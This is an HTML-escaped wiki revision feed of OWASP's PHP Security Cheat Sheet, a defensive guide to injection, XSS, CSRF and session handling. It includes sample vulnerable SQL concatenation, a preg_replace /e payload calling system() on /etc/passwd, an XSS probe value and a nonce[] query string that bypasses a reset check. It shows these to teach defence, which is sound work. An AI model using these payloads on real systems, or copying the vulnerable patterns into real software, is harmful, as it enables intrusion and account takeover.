Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you should use query builder that is provided by a framework. Do not roll your own.&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
[mailto:L.Plant.98@cantab.net Luke Plant]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184333</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184333"/>
				<updated>2014-10-30T08:29:04Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: Encourage people to use libraries/frameworks, not random snippets of code they find on a wiki!&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($db_link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($db_link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
